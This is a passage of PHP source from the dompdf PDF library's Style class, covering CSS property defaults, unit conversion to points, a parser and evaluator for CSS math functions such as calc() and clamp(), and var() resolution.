 * @property string               $clip
 * @property array|string         $color
 * @property ContentPart[]|string $content                     List of content components, `normal`, or `none`
 * @property array|string         $counter_increment           Array defining the counters to increment or `none`
 * @property array|string         $counter_reset               Array defining the counters to reset or `none`
 * @property string               $cue_after
 * @property string               $cue_before
 * @property string               $cue
 * @property string               $cursor
 * @property string               $direction
 * @property string               $display
 * @property string               $elevation
 * @property string               $empty_cells
 * @property string               $float
 * @property string               $font_family
 * @property float                $font_size                   Length in pt
 * @property string               $font_style                  `normal`, `italic`, or `oblique`
 * @property string               $font_variant
 * @property int                  $font_weight                 Number in the range [1, 1000]
 * @property float|string         $height                      Length in pt, a percentage value, or `auto`
 * @property string               $image_resolution
 * @property string               $inset                       Only use for setting all box insets to the same length
 * @property float|string         $left                        Length in pt, a percentage value, or `auto`
 * @property float                $letter_spacing              Length in pt
 * @property float                $line_height                 Length in pt
 * @property string               $list_style_image            Image URL or `none`
 * @property string               $list_style_position         `inside` or `outside`
 * @property string               $list_style_type
 * @property float|string         $margin_right                Length in pt, a percentage value, or `auto`
 * @property float|string         $margin_left                 Length in pt, a percentage value, or `auto`
 * @property float|string         $margin_top                  Length in pt, a percentage value, or `auto`
 * @property float|string         $margin_bottom               Length in pt, a percentage value, or `auto`
 * @property string               $margin                      Only use for setting all sides to the same length
 * @property float|string         $max_height                  Length in pt, a percentage value, or `none`
 * @property float|string         $max_width                   Length in pt, a percentage value, or `none`
 * @property float|string         $min_height                  Length in pt, a percentage value, or `auto`
 * @property float|string         $min_width                   Length in pt, a percentage value, or `auto`
 * @property float                $opacity                     Number in the range [0, 1]
 * @property int                  $orphans
 * @property array|string         $outline_color
 * @property string               $outline_style               Valid border style, except for `hidden`
 * @property float                $outline_width               Length in pt
 * @property float                $outline_offset              Length in pt
 * @property string               $overflow
 * @property string               $overflow_wrap
 * @property float|string         $padding_top                 Length in pt or a percentage value
 * @property float|string         $padding_right               Length in pt or a percentage value
 * @property float|string         $padding_bottom              Length in pt or a percentage value
 * @property float|string         $padding_left                Length in pt or a percentage value
 * @property string               $padding                     Only use for setting all sides to the same length
 * @property string               $page_break_after
 * @property string               $page_break_before
 * @property string               $page_break_inside
 * @property string               $pause_after
 * @property string               $pause_before
 * @property string               $pause
 * @property string               $pitch_range
 * @property string               $pitch
 * @property string               $play_during
 * @property string               $position
 * @property array|string         $quotes                      List of quote pairs, or `none`
 * @property string               $richness
 * @property float|string         $right                       Length in pt, a percentage value, or `auto`
 * @property float[]|string       $size                        Pair of `[width, height]` or `auto`
 * @property string               $speak_header
 * @property string               $speak_numeral
 * @property string               $speak_punctuation
 * @property string               $speak
 * @property string               $speech_rate
 * @property string               $src
 * @property string               $stress
 * @property string               $table_layout
 * @property string               $text_align
 * @property string               $text_decoration
 * @property float|string         $text_indent                 Length in pt or a percentage value
 * @property string               $text_transform
 * @property float|string         $top                         Length in pt, a percentage value, or `auto`
 * @property array                $transform                   List of transforms
 * @property array                $transform_origin            Triplet of `[x, y, z]`, each value being a length in pt, or a percentage value for x and y
 * @property string               $unicode_bidi
 * @property string               $unicode_range
 * @property string               $vertical_align
 * @property string               $visibility
 * @property string               $voice_family
 * @property string               $volume
 * @property string               $white_space
 * @property int                  $widows
 * @property float|string         $width                       Length in pt, a percentage value, or `auto`
 * @property string               $word_break
 * @property float                $word_spacing                Length in pt
 * @property int|string           $z_index                     Integer value or `auto`
 * @property string               $_dompdf_keep
 *
 * @package dompdf
 */
class Style
{
    protected const CSS_IDENTIFIER = "-?[_a-zA-Z]+[_a-zA-Z0-9-]*";
    protected const CSS_INTEGER = "[+-]?\d+";
    protected const CSS_NUMBER = "[+-]?\d*\.?\d+(?:[eE][+-]?\d+)?";
    protected const CSS_STRING = "" .
        '"(?>(?:\\\\["]|[^"])*)(?<!\\\\)"|' . // String ""
        "'(?>(?:\\\\[']|[^'])*)(?<!\\\\)'";   // String ''
    protected const CSS_VAR = "var\((([^()]|(?R))*)\)";

    /**
     * @link https://www.w3.org/TR/css-values-4/#calc-syntax
     */
    protected const CSS_MATH_FUNCTIONS = [
        // Basic Arithmetic
        "calc" => true,
        // Comparison Functions
        "min" => true,
        "max" => true,
        "clamp" => true,
        // Stepped Value Functions
        "round" => true,                          // Not fully supported
        "mod" => true,
        "rem" => true,
        // Trigonometric Functions
        "sin" => true,
        "cos" => true,
        "tan" => true,
        "asin" => true,
        "acos" => true,
        "atan" => true,
        "atan2" => true,
        // Exponential Functions
        "pow" => true,
        "sqrt" => true,
        "hypot" => true,
        "log" => true,
        "exp" => true,
        // Sign-Related Functions
        "abs" => true,
        "sign" => true
    ];

    /**
     * https://www.w3.org/TR/css-values-3/#custom-idents
     */
    protected const CUSTOM_IDENT_FORBIDDEN = ["inherit", "initial", "unset", "default"];

    /**
     * Default font size, in points.
     *
     * @var float
     */
    public static $default_font_size = 12;

    /**
     * Default line height, as a fraction of the font size.
     *
     * @var float
     */
    public static $default_line_height = 1.2;

    /**
     * Default "absolute" font sizes relative to the default font-size
     * https://www.w3.org/TR/css-fonts-3/#absolute-size-value
     *
     * @var array<float>
     */
    public static $font_size_keywords = [
        "xx-small" => 0.6, // 3/5
        "x-small" => 0.75, // 3/4
        "small" => 0.889, // 8/9
        "medium" => 1, // 1
        "large" => 1.2, // 6/5
        "x-large" => 1.5, // 3/2
        "xx-large" => 2.0, // 2/1
    ];

    /**
     * List of valid text-align keywords.
     */
    public const TEXT_ALIGN_KEYWORDS = ["left", "right", "center", "justify"];

    /**
     * List of valid vertical-align keywords.
     */
    public const VERTICAL_ALIGN_KEYWORDS = ["baseline", "bottom", "middle",
        "sub", "super", "text-bottom", "text-top", "top"];

    /**
     * List of all block-level (outer) display types.
     * * https://www.w3.org/TR/css-display-3/#display-type
     * * https://www.w3.org/TR/css-display-3/#block-level
     */
    public const BLOCK_LEVEL_TYPES = [
        "block",
        // "flow-root",
        "list-item",
        // "flex",
        // "grid",
        "table"
    ];

    /**
     * List of all inline-level (outer) display types.
     * * https://www.w3.org/TR/css-display-3/#display-type
     * * https://www.w3.org/TR/css-display-3/#inline-level
     */
    public const INLINE_LEVEL_TYPES = [
        "inline",
        "inline-block",
        // "inline-flex",
        // "inline-grid",
        "inline-table"
    ];

    /**
     * List of all table-internal (outer) display types.
     * * https://www.w3.org/TR/css-display-3/#layout-specific-display
     */
    public const TABLE_INTERNAL_TYPES = [
        "table-row-group",
        "table-header-group",
        "table-footer-group",
        "table-row",
        "table-cell",
        "table-column-group",
        "table-column",
        "table-caption"
    ];

    /**
     * List of all inline (inner) display types.
     */
    public const INLINE_TYPES = ["inline"];

    /**
     * List of all block (inner) display types.
     */
    public const BLOCK_TYPES = ["block", "inline-block", "table-cell", "list-item"];

    /**
     * List of all table (inner) display types.
     */
    public const TABLE_TYPES = ["table", "inline-table"];

    /**
     * Lookup table for valid display types. Initially computed from the
     * different constants.
     *
     * @var array
     */
    protected static $valid_display_types = [];

    /**
     * List of all positioned types.
     */
    public const POSITIONED_TYPES = ["relative", "absolute", "fixed"];

    /**
     * List of valid border styles.
     */
    public const BORDER_STYLES = [
        "none", "hidden",
        "dotted", "dashed", "solid",
        "double", "groove", "ridge", "inset", "outset"
    ];

    /**
     * List of valid outline-style values.
     * Same as the border styles, except `auto` is allowed, `hidden` is not.
     *
     * @link https://www.w3.org/TR/css-ui-4/#typedef-outline-line-style
     */
    protected const OUTLINE_STYLES = [
        "auto", "none",
        "dotted", "dashed", "solid",
        "double", "groove", "ridge", "inset", "outset"
    ];

    /**
     * Map of CSS shorthand properties and their corresponding sub-properties.
     * The order of the sub-properties is relevant for the fallback getter,
     * which is used in case no specific getter method is defined.
     *
     * @var array<string, string[]>
     */
    protected static $_props_shorthand = [
        "background" => [
            "background_image",
            "background_position",
            "background_size",
            "background_repeat",
            // "background_origin",
            // "background_clip",
            "background_attachment",
            "background_color"
        ],
        "border" => [
            "border_top_width",
            "border_right_width",
            "border_bottom_width",
            "border_left_width",
            "border_top_style",
            "border_right_style",
            "border_bottom_style",
            "border_left_style",
            "border_top_color",
            "border_right_color",
            "border_bottom_color",
            "border_left_color"
        ],
        "border_top" => [
            "border_top_width",
            "border_top_style",
            "border_top_color"
        ],
        "border_right" => [
            "border_right_width",
            "border_right_style",
            "border_right_color"
        ],
        "border_bottom" => [
            "border_bottom_width",
            "border_bottom_style",
            "border_bottom_color"
        ],
        "border_left" => [
            "border_left_width",
            "border_left_style",
            "border_left_color"
        ],
        "border_width" => [
            "border_top_width",
            "border_right_width",
            "border_bottom_width",
            "border_left_width"
        ],
        "border_style" => [
            "border_top_style",
            "border_right_style",
            "border_bottom_style",
            "border_left_style"
        ],
        "border_color" => [
            "border_top_color",
            "border_right_color",
            "border_bottom_color",
            "border_left_color"
        ],
        "border_radius" => [
            "border_top_left_radius",
            "border_top_right_radius",
            "border_bottom_right_radius",
            "border_bottom_left_radius"
        ],
        "font" => [
            "font_family",
            "font_size",
            // "font_stretch",
            "font_style",
            "font_variant",
            "font_weight",
            "line_height"
        ],
        "inset" => [
            "top",
            "right",
            "bottom",
            "left"
        ],
        "list_style" => [
            "list_style_image",
            "list_style_position",
            "list_style_type"
        ],
        "margin" => [
            "margin_top",
            "margin_right",
            "margin_bottom",
            "margin_left"
        ],
        "padding" => [
            "padding_top",
            "padding_right",
            "padding_bottom",
            "padding_left"
        ],
        "outline" => [
            "outline_width",
            "outline_style",
            "outline_color"
        ]
    ];

    /**
     * Maps legacy property names to actual property names.
     *
     * @var array<string, string>
     */
    protected static $_props_alias = [
        "word_wrap"                           => "overflow_wrap",
        "_dompdf_background_image_resolution" => "background_image_resolution",
        "_dompdf_image_resolution"            => "image_resolution",
        "_webkit_transform"                   => "transform",
        "_webkit_transform_origin"            => "transform_origin"
    ];

    /**
     * Default style values.
     *
     * @link https://www.w3.org/TR/CSS21/propidx.html
     *
     * @var array<string, mixed>
     */
    protected static $_defaults = null;

    /**
     * Lookup table for properties that inherit by default.
     *
     * @link https://www.w3.org/TR/CSS21/propidx.html
     *
     * @var array<string, true>
     */
    protected static $_inherited = [
        "azimuth" => true,
        "background_image_resolution" => true,
        "border_collapse" => true,
        "border_spacing" => true,
        "caption_side" => true,
        "color" => true,
        "cursor" => true,
        "direction" => true,
        "elevation" => true,
        "empty_cells" => true,
        "font_family" => true,
        "font_size" => true,
        "font_style" => true,
        "font_variant" => true,
        "font_weight" => true,
        "font" => true,
        "image_resolution" => true,
        "letter_spacing" => true,
        "line_height" => true,
        "list_style_image" => true,
        "list_style_position" => true,
        "list_style_type" => true,
        "list_style" => true,
        "orphans" => true,
        "overflow_wrap" => true,
        "pitch_range" => true,
        "pitch" => true,
        "quotes" => true,
        "richness" => true,
        "speak_header" => true,
        "speak_numeral" => true,
        "speak_punctuation" => true,
        "speak" => true,
        "speech_rate" => true,
        "stress" => true,
        "text_align" => true,
        "text_indent" => true,
        "text_transform" => true,
        "visibility" => true,
        "voice_family" => true,
        "volume" => true,
        "white_space" => true,
        "widows" => true,
        "word_break" => true,
        "word_spacing" => true
    ];

    /**
     * @var array<string, string[]>
     */
    protected static $_dependency_map = [
        "border_top_style" => [
            "border_top_width"
        ],
        "border_bottom_style" => [
            "border_bottom_width"
        ],
        "border_left_style" => [
            "border_left_width"
        ],
        "border_right_style" => [
            "border_right_width"
        ],
        "direction" => [
            "text_align"
        ],
        "font_size" => [
            "background_position",
            "background_size",
            "border_top_width",
            "border_right_width",
            "border_bottom_width",
            "border_left_width",
            "border_top_left_radius",
            "border_top_right_radius",
            "border_bottom_right_radius",
            "border_bottom_left_radius",
            "letter_spacing",
            "line_height",
            "margin_top",
            "margin_right",
            "margin_bottom",
            "margin_left",
            "outline_width",
            "outline_offset",
            "padding_top",
            "padding_right",
            "padding_bottom",
            "padding_left",
            "word_spacing",
            "width",
            "height",
            "min-width",
            "min-height",
            "max-width",
            "max-height"
        ],
        "float" => [
            "display"
        ],
        "position" => [
            "display"
        ],
        "outline_style" => [
            "outline_width"
        ]
    ];

    /**
     * Lookup table for dependent properties. Initially computed from the
     * dependency map.
     *
     * @var array<string, true>
     */
    protected static $_dependent_props = [];

    /**
     * Caches method_exists result
     *
     * @var array<string, bool>
     */
    protected static $_methods_cache = [];

    /**
     * The stylesheet this style belongs to
     *
     * @var Stylesheet
     */
    protected $_stylesheet;

    /**
     * Media queries attached to the style
     *
     * This is a two-dimensional array where the first dimension represents
     * the media query grouping (logic-or) and the second dimension the
     * media queries within the grouping.
     *
     * The structure of the actual query element is:
     * - media query feature
     * - media query value or condition
     * - media query operator (e.g., not)
     *
     * @var array
     */
    protected $_media_queries;

    /**
     * Properties set by an `!important` declaration.
     *
     * @var array<string, true>
     */
    protected $_important_props = [];

    /**
     * Specified (or declared) values of the CSS properties.
     *
     * https://www.w3.org/TR/css-cascade-3/#value-stages
     *
     * @var array<string, mixed>
     */
    protected $_props = [];

    /**
     * Used to track which CSS property were set directly versus
     * those set via shorthand property
     *
     * @var array<string, true>
     */
    protected $_props_specified = [];

    /**
     * Computed values of the CSS properties.
     *
     * @var array<string, mixed>
     */
    protected $_props_computed = [];

    /**
     * Used values of the CSS properties.
     *
     * @var array<string, mixed>
     */
    protected $_props_used = [];

    /**
     * Marks properties with non-final used values that should be cleared on
     * style reset.
     *
     * @var array<string, true>
     */
    protected $non_final_used = [];

    /**
     * Used to track CSS property assignment entry/exit in order to watch
     * for circular dependencies.
     *
     * @var array<int, string>
     */
    protected $_prop_stack = [];

    /**
     * Used to track CSS variable resolution entry/exit in order to watch
     * for circular dependencies.
     *
     * @var array<int, string>
     */
    protected $_var_stack = [];

    /**
     * Style of the parent element in document tree.
     *
     * @var Style
     */
    protected $parent_style;

    /**
     * @var Frame|null
     */
    protected $_frame;

    /**
     * The origin of the style
     *
     * @var int
     */
    protected $_origin = Stylesheet::ORIG_AUTHOR;

    /**
     * The computed bottom spacing
     *
     * @var float|string|null
     */
    private $_computed_bottom_spacing = null;

    /**
     * @var bool|null
     */
    private $has_border_radius_cache = null;

    /**
     * @var array|null
     */
    private $resolved_border_radius = null;

    /**
     * @var FontMetrics
     */
    private $fontMetrics;

    /**
     * @param Stylesheet $stylesheet The stylesheet the style is associated with.
     * @param int        $origin
     */
    public function __construct(Stylesheet $stylesheet, int $origin = Stylesheet::ORIG_AUTHOR)
    {
        $this->fontMetrics = $stylesheet->getFontMetrics();

        $this->_stylesheet = $stylesheet;
        $this->_media_queries = [];
        $this->_origin = $origin;
        $this->parent_style = null;

        if (!isset(self::$_defaults)) {

            // Shorthand
            $d =& self::$_defaults;

            // All CSS 2.1 properties, and their default values
            // Some properties are specified with their computed value for
            // efficiency; this only works if the computed value is not
            // dependent on another property
            $d["azimuth"] = "center";
            $d["background_attachment"] = "scroll";
            $d["background_color"] = "transparent";
            $d["background_image"] = "none";
            $d["background_image_resolution"] = "normal";
            $d["background_position"] = [0.0, 0.0];
            $d["background_repeat"] = "repeat";
            $d["background"] = "";
            $d["border_collapse"] = "separate";
            $d["border_color"] = "";
            $d["border_spacing"] = [0.0, 0.0];
            $d["border_style"] = "";
            $d["border_top"] = "";
            $d["border_right"] = "";
            $d["border_bottom"] = "";
            $d["border_left"] = "";
            $d["border_top_color"] = "currentcolor";
            $d["border_right_color"] = "currentcolor";
            $d["border_bottom_color"] = "currentcolor";
            $d["border_left_color"] = "currentcolor";
            $d["border_top_style"] = "none";
            $d["border_right_style"] = "none";
            $d["border_bottom_style"] = "none";
            $d["border_left_style"] = "none";
            $d["border_top_width"] = "medium";
            $d["border_right_width"] = "medium";
            $d["border_bottom_width"] = "medium";
            $d["border_left_width"] = "medium";
            $d["border_width"] = "";
            $d["border_bottom_left_radius"] = 0.0;
            $d["border_bottom_right_radius"] = 0.0;
            $d["border_top_left_radius"] = 0.0;
            $d["border_top_right_radius"] = 0.0;
            $d["border_radius"] = "";
            $d["border"] = "";
            $d["bottom"] = "auto";
            $d["caption_side"] = "top";
            $d["clear"] = "none";
            $d["clip"] = "auto";
            $d["color"] = "#000000";
            $d["content"] = "normal";
            $d["counter_increment"] = "none";
            $d["counter_reset"] = "none";
            $d["cue_after"] = "none";
            $d["cue_before"] = "none";
            $d["cue"] = "";
            $d["cursor"] = "auto";
            $d["direction"] = "ltr";
            $d["display"] = "inline";
            $d["elevation"] = "level";
            $d["empty_cells"] = "show";
            $d["float"] = "none";
            $d["font_family"] = $stylesheet->get_dompdf()->getOptions()->getDefaultFont();
            $d["font_size"] = "medium";
            $d["font_style"] = "normal";
            $d["font_variant"] = "normal";
            $d["font_weight"] = 400;
            $d["font"] = "";
            $d["height"] = "auto";
            $d["image_resolution"] = "normal";
            $d["inset"] = "";
            $d["left"] = "auto";
            $d["letter_spacing"] = "normal";
            $d["line_height"] = "normal";
            $d["list_style_image"] = "none";
            $d["list_style_position"] = "outside";
            $d["list_style_type"] = "disc";
            $d["list_style"] = "";
            $d["margin_right"] = 0.0;
            $d["margin_left"] = 0.0;
            $d["margin_top"] = 0.0;
            $d["margin_bottom"] = 0.0;
            $d["margin"] = "";
            $d["max_height"] = "none";
            $d["max_width"] = "none";
            $d["min_height"] = "auto";
            $d["min_width"] = "auto";
            $d["orphans"] = 2;
            $d["outline_color"] = "currentcolor"; // "invert" special color is not supported
            $d["outline_style"] = "none";
            $d["outline_width"] = "medium";
            $d["outline_offset"] = 0.0;
            $d["outline"] = "";
            $d["overflow"] = "visible";
            $d["overflow_wrap"] = "normal";
            $d["padding_top"] = 0.0;
            $d["padding_right"] = 0.0;
            $d["padding_bottom"] = 0.0;
            $d["padding_left"] = 0.0;
            $d["padding"] = "";
            $d["page_break_after"] = "auto";
            $d["page_break_before"] = "auto";
            $d["page_break_inside"] = "auto";
            $d["pause_after"] = "0";
            $d["pause_before"] = "0";
            $d["pause"] = "";
            $d["pitch_range"] = "50";
            $d["pitch"] = "medium";
            $d["play_during"] = "auto";
            $d["position"] = "static";
            $d["quotes"] = "auto";
            $d["richness"] = "50";
            $d["right"] = "auto";
            $d["size"] = "auto"; // @page
            $d["speak_header"] = "once";
            $d["speak_numeral"] = "continuous";
            $d["speak_punctuation"] = "none";
            $d["speak"] = "normal";
            $d["speech_rate"] = "medium";
            $d["stress"] = "50";
            $d["table_layout"] = "auto";
            $d["text_align"] = "";
            $d["text_decoration"] = "none";
            $d["text_indent"] = 0.0;
            $d["text_transform"] = "none";
            $d["top"] = "auto";
            $d["unicode_bidi"] = "normal";
            $d["vertical_align"] = "baseline";
            $d["visibility"] = "visible";
            $d["voice_family"] = "";
            $d["volume"] = "medium";
            $d["white_space"] = "normal";
            $d["widows"] = 2;
            $d["width"] = "auto";
            $d["word_break"] = "normal";
            $d["word_spacing"] = "normal";
            $d["z_index"] = "auto";

            // CSS3
            $d["opacity"] = 1.0;
            $d["background_size"] = ["auto", "auto"];
            $d["transform"] = [];
            $d["transform_origin"] = ["50%", "50%", 0.0];

            // for @font-face
            $d["src"] = "";
            $d["unicode_range"] = "";

            // vendor-prefixed properties
            $d["_dompdf_keep"] = "";

            // Compute dependent props from dependency map
            foreach (self::$_dependency_map as $props) {
                foreach ($props as $prop) {
                    self::$_dependent_props[$prop] = true;
                }
            }

            // Compute valid display-type lookup table
            self::$valid_display_types = [
                "none"                => true,
                "-dompdf-br"          => true,
                "-dompdf-image"       => true,
                "-dompdf-list-bullet" => true,
                "-dompdf-page"        => true
            ];
            foreach (self::BLOCK_LEVEL_TYPES as $val) {
                self::$valid_display_types[$val] = true;
            }
            foreach (self::INLINE_LEVEL_TYPES as $val) {
                self::$valid_display_types[$val] = true;
            }
            foreach (self::TABLE_INTERNAL_TYPES as $val) {
                self::$valid_display_types[$val] = true;
            }
        }
    }

    /**
     * Clear all non-final used values.
     */
    public function reset(): void
    {
        foreach (array_keys($this->non_final_used) as $prop) {
            unset($this->_props_used[$prop]);
        }

        $this->non_final_used = [];
    }

    /**
     * @param array $media_queries
     */
    public function set_media_queries(array $media_queries): void
    {
        $this->_media_queries = $media_queries;
    }

    /**
     * @return array
     */
    public function get_media_queries(): array
    {
        return $this->_media_queries;
    }

    /**
     * @param Frame $frame
     */
    public function set_frame(Frame $frame): void
    {
        $this->_frame = $frame;
    }

    /**
     * @return Frame|null
     */
    public function get_frame(): ?Frame
    {
        return $this->_frame;
    }

    /**
     * @param int $origin
     */
    public function set_origin(int $origin): void
    {
        $this->_origin = $origin;
    }

    /**
     * @return int
     */
    public function get_origin(): int
    {
        return $this->_origin;
    }

    /**
     * Returns the {@link Stylesheet} the style is associated with.
     *
     * @return Stylesheet
     */
    public function get_stylesheet(): Stylesheet
    {
        return $this->_stylesheet;
    }

    public function is_custom_property(string $prop): bool
    {
        return \substr($prop, 0, 2) === "--";
    }

    public function is_absolute(): bool
    {
        $position = $this->__get("position");
        return $position === "absolute" || $position === "fixed";
    }

    public function is_in_flow(): bool
    {
        $float = $this->__get("float");
        return $float === "none" && !$this->is_absolute();
    }

    /**
     * Converts any CSS length value into an absolute length in points.
     *
     * length_in_pt() takes a single length (e.g. '1em') or an array of
     * lengths and returns an absolute length.  If an array is passed, then
     * the return value is the sum of all elements. If any of the lengths
     * provided are "auto" or "none" then that value is returned.
     *
     * If a reference size is not provided, the current font size is used.
     *
     * @param float|string|array $length   The numeric length (or string measurement) or array of lengths to resolve.
     * @param float|null         $ref_size An absolute reference size to resolve percentage lengths.
     *
     * @return float|string
     */
    public function length_in_pt($length, ?float $ref_size = null)
    {
        $font_size = $this->__get("font_size");
        $ref_size = $ref_size ?? $font_size;

        if (!\is_array($length)) {
            $length = [$length];
        }

        $ret = 0.0;

        foreach ($length as $l) {
            if ($l === "auto" || $l === "none") {
                return $l;
            }

            // Assume numeric values are already in points
            if (is_numeric($l)) {
                $ret += (float) $l;
                continue;
            }

            $val = $this->single_length_in_pt((string) $l, $ref_size, $font_size);
            $ret += $val ?? 0;
        }

        return $ret;
    }

    /**
     * Convert a length declaration to pt.
     *
     * @param string     $l         The length declaration.
     * @param float      $ref_size  Reference size for percentage declarations.
     * @param float|null $font_size Font size for resolving font-size relative units.
     *
     * @return float|null The length in pt, or `null` for invalid declarations.
     */
    protected function single_length_in_pt(string $l, float $ref_size = 0, ?float $font_size = null): ?float
    {
        static $cache = [];

        $font_size = $font_size ?? $this->__get("font_size");

        $key = "$l/$ref_size/$font_size";

        if (\array_key_exists($key, $cache)) {
            return $cache[$key];
        }

        $number = self::CSS_NUMBER;
        $pattern = "/^($number)([a-zA-Z%]*)?$/";

        if (!preg_match($pattern, $l, $matches)) {
            $ident = self::CSS_IDENTIFIER;
            $pattern = "/^($ident)\(.*\)$/i";
            if (preg_match($pattern, $l)) {
                $value = $this->evaluate_func($this->parse_func($l), $ref_size, $font_size);
                return $cache[$key] = $value;
            }
            return null;
        }

        $v = (float) $matches[1];
        $unit = strtolower($matches[2]);

        if ($unit === "") {
            // Legacy support for unitless values, not covered by spec. Might
            // want to restrict this to unitless `0` in the future
            $value = $v;
        }

        elseif ($unit === "%") {
            $value = $v / 100 * $ref_size;
        }

        elseif ($unit === "px") {
            $dpi = $this->_stylesheet->get_dompdf()->getOptions()->getDpi();
            $value = ($v * 72) / $dpi;
        }

        elseif ($unit === "pt") {
            $value = $v;
        }

        elseif ($unit === "rem") {
            $tree = $this->_stylesheet->get_dompdf()->getTree();
            $root_style = $tree !== null ? $tree->get_root()->get_style() : null;
            $root_font_size = $root_style === null || $root_style === $this
                ? $font_size
                : $root_style->__get("font_size");
            $value = $v * $root_font_size;

            // Skip caching if the root style is not available yet, as to avoid
            // incorrectly cached values if the root font size is different from
            // the default
            if ($root_style === null) {
                return $value;
            }
        }

        elseif ($unit === "em") {
            $value = $v * $font_size;
        }

        elseif ($unit === "cm") {
            $value = $v * 72 / 2.54;
        }

        elseif ($unit === "mm") {
            $value = $v * 72 / 25.4;
        }

        elseif ($unit === "ex") {
            // FIXME: em:ex ratio?
            $value = $v * $font_size / 2;
        }

        elseif ($unit === "in") {
            $value = $v * 72;
        }

        elseif ($unit === "pc") {
            $value = $v * 12;
        }

        else {
            // Invalid or unsupported declaration
            $value = null;
        }

        return $cache[$key] = $value;
    }

    /**
     * Shunting-yard Algorithm
     * @param string $expr infix expression
     * @return array
     */
    private function parse_func(string $expr): array
    {
        if (substr_count($expr, '(') !== substr_count($expr, ')')) {
            return [];
        }

        $expr = str_replace(['(', ')', '*', '/', ','], [' ( ', ' ) ', ' * ', ' / ', ' , '], $expr);
        $expr = trim(preg_replace('/\s+/', ' ', $expr));

        if ($expr === '') {
            return [];
        }

        $precedence = ['*' => 3, '/' => 3, '+' => 2, '-' => 2, ',' => 1];

        $opStack = [];
        $queue = [];

        $parts = explode(' ', $expr);

        foreach ($parts as $part) {
            if ($part === '(') {
                $opStack[] = $part;
            } elseif (\array_key_exists(strtolower($part), self::CSS_MATH_FUNCTIONS)) {
                $opStack[] = strtolower($part);
            } elseif ($part === ')') {
                while (\count($opStack) > 0 && end($opStack) !== '(' && !\array_key_exists(end($opStack), self::CSS_MATH_FUNCTIONS)) {
                    $queue[] = array_pop($opStack);
                }
                if (end($opStack) === '(') {
                    array_pop($opStack);
                }
                if (\count($opStack) > 0 && \array_key_exists(end($opStack), self::CSS_MATH_FUNCTIONS)) {
                    $queue[] = array_pop($opStack);
                }
            } elseif (\array_key_exists($part, $precedence)) {
                while (\count($opStack) > 0 && end($opStack) !== '(' && $precedence[end($opStack)] >= $precedence[$part]) {
                    $queue[] = array_pop($opStack);
                }
                $opStack[] = $part;
            } else {
                $queue[] = $part;
            }
        }

        while (\count($opStack) > 0) {
            $queue[] = array_pop($opStack);
        }

        return $queue;
    }

    /**
     * Reverse Polish Notation
     * @param array $rpn
     * @param float $ref_size
     * @param float|null $font_size
     * @return float|null
     */
    private function evaluate_func(array $rpn, float $ref_size = 0, ?float $font_size = null): ?float
    {
        if (\count($rpn) === 0) {
            return null;
        }

        $ops = ['*', '/', '+', '-', ','];

        $stack = [];

        foreach ($rpn as $part) {
            if (\array_key_exists($part, self::CSS_MATH_FUNCTIONS)) {
                $argv = array_pop($stack);
                if (!is_array($argv)) {
                    $argv = [$argv];
                }
                $argc = \count($argv);
                switch ($part) {
                    case 'abs':
                    case 'acos':
                    case 'asin':
                    case 'atan':
                    case 'cos':
                    case 'exp':
                    case 'sin':
                    case 'sqrt':
                    case 'tan':
                        if ($argc !== 1) {
                            return null;
                        }
                        $stack[] = call_user_func_array($part, $argv);
                        break;
                    case 'atan2':
                    case 'hypot':
                    case 'pow':
                        if ($argc !== 2) {
                            return null;
                        }
                        $stack[] = call_user_func_array($part, $argv);
                        break;
                    case 'log':
                        if ($argc === 1) {
                            $stack[] = log($argv[0]);
                        } elseif ($argc === 2) {
                            $stack[] = log($argv[0], $argv[1]);
                        } else {
                            return null;
                        }
                        break;
                    case 'max':
                        $stack[] = max($argv);
                        break;
                    case 'min':
                        $stack[] = min($argv);
                        break;
                    case 'mod':
                        if ($argc !== 2 || $argv[1] === 0.0) {
                            return null;
                        }
                        if ($argv[1] > 0) {
                            $stack[] = $argv[0] - floor($argv[0] / $argv[1]) * $argv[1];
                        } else {
                            $stack[] = $argv[0] - ceil($argv[0] * -1 / $argv[1]) * $argv[1] * -1 ;
                        }
                        break;
                    case 'rem':
                        if ($argc !== 2 || $argv[1] === 0.0) {
                            return null;
                        }
                        $stack[] = $argv[0] - (intval($argv[0] / $argv[1]) * $argv[1]);
                        break;
                    case 'round':
                        if ($argc !== 2 || $argv[1] === 0.0) {
                            return null;
                        }
                        if ($argv[0] >= 0) {
                            $stack[] = round($argv[0] / $argv[1], 0, PHP_ROUND_HALF_UP) * $argv[1];
                        } else {
                            $stack[] = round($argv[0] / $argv[1], 0, PHP_ROUND_HALF_DOWN) * $argv[1];
                        }
                        break;
                    case 'calc':
                        if ($argc !== 1) {
                            return null;
                        }
                        $stack[] = $argv[0];
                        break;
                    case 'clamp':
                        if ($argc !== 3) {
                            return null;
                        }
                        $stack[] = max($argv[0], min($argv[1], $argv[2]));
                        break;
                    case 'sign':
                        if ($argc !== 1) {
                            return null;
                        }
                        $stack[] = $argv[0] == 0 ? 0.0 : ($argv[0] / abs($argv[0]));
                        break;
                    default:
                        return null;
                }
            } elseif (\in_array($part, $ops, true)) {
                $rightValue = array_pop($stack);
                $leftValue = array_pop($stack);
                switch ($part) {
                    case '*':
                        $stack[] = $leftValue * $rightValue;
                        break;
                    case '/':
                        if ($rightValue === 0.0) {
                            return null;
                        }
                        $stack[] = $leftValue / $rightValue;
                        break;
                    case '+':
                        $stack[] = $leftValue + $rightValue;
                        break;
                    case '-':
                        $stack[] = $leftValue - $rightValue;
                        break;
                    case ',':
                        if (is_array($leftValue)) {
                            $leftValue[] = $rightValue;
                            $stack[] = $leftValue;
                        } else {
                            $stack[] = [$leftValue, $rightValue];
                        }
                        break;
                }
            } else {
                $val = $this->single_length_in_pt($part, $ref_size, $font_size);
                if ($val === null) {
                    return null;
                }
                $stack[] = $val;
            }
        }

        if (\count($stack) > 1) {
            return null;
        }

        return floatval(end($stack));
    }

    /**
     * Resolves the actual values for used CSS custom properties.
     *
     * This function receives the whole content of the var() function, which
     * can also include a fallback value.
     */
    private function parse_var($matches) {
        $variable = is_array($matches) ? $matches[1] : $matches;

        if (\in_array($variable, $this->_var_stack, true)) {
            return null;
        }
        array_push($this->_var_stack, $variable);

        // Split property name and an optional fallback value.
        [$custom_prop, $fallback] = explode(',', $variable, 2) + ['', ''];
        $fallback = trim($fallback);

        // Try to retrieve the custom property value, or use the fallback value
        // if the value could not be resolved.
        $value = $this->computed($custom_prop) ?? $fallback;

        // If the resolved value also has vars in it, resolve again.
        $pattern = self::CSS_VAR;
        $value = preg_replace_callback(
            "/$pattern/",
            [$this, "parse_var"],
            $value);

        array_pop($this->_var_stack);
        return $value ?: null;
    }

    /**
     * Resolve inherited property values using the provided parent style or the
